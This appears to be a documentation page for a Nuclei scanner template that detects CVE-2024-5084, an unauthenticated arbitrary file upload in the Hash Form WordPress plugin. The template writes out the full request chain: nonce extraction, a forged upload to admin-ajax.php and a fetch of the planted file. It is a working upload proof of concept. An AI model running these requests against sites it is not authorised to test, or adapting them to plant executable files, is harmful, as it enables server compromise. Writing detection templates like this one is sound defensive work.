Skip to content
Nuclei Templates

Hash Form <= 1.1.0 - Arbitrary File Upload

ID: CVE-2024-5084

Severity: critical

Author: s4e-io

Tags: cve,cve2024,wp-plugin,wordpress,file-upload,rce,intrusive

Description

Section titled “Description”

The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the ‘file_upload_action’ function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site’s server which may make remote code execution possible.

YAML Source

Section titled “YAML Source”
id: CVE-2024-5084


info:
  name: Hash Form <= 1.1.0 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The Hash Form Drag & Drop Form Builder plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'file_upload_action' function in all versions up to, and including, 1.1.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  remediation: Fixed in 1.1.1
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-5084
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/hash-form/hash-form-drag-drop-form-builder-110-unauthenticated-arbitrary-file-upload-to-remote-code-execution
    - https://github.com/WOOOOONG/CVE-2024-5084/blob/main/CVE-2024-5084_exploit.py
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-5084
    epss-score: 0.00063
    epss-percentile: 0.27036
  metadata:
    verified: true
    max-request: 1
    vendor: HashThemes
    product: Hash Form
    framework: wordpress
    publicwww-query: "/wp-content/plugins/hash-form/"
  tags: cve,cve2024,wp-plugin,wordpress,file-upload,rce,intrusive


variables:
  filename: "{{rand_base(5)}}"
  num: "{{rand_int(1000, 9999)}}"


http:
  - raw:
      - |
        GET / HTTP /1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


      - |
        POST /wp-admin/admin-ajax.php?action=hashform_file_upload_action&file_uploader_nonce={{nonce}}&allowedExtensions%5B0%5D=txt&sizeLimit=1048576&qqfile={{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


        {{md5(num)}}


      - |
        GET /wp-content/uploads/hashform/temp/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded


    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2,"success","true","url") && status_code_2 == 200'
          - 'contains(body_3,"{{md5(num)}}") && status_code_3 == 200'
        condition: and


    extractors:
      - type: regex
        name: nonce
        part: body
        group: 1
        regex:
          - '"ajax_nounce":"([0-9a-z]+)","preview_img'
        internal: true
# digest: 490a00463044022001f84904500e536594388745f24a7b25a36649bda563590c3b339fc319f0cbd002203339479b51878e5a8970f3da629ab5d656d69eb747d58f77551406c85fdaf21d:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-5084.yaml"

View on Github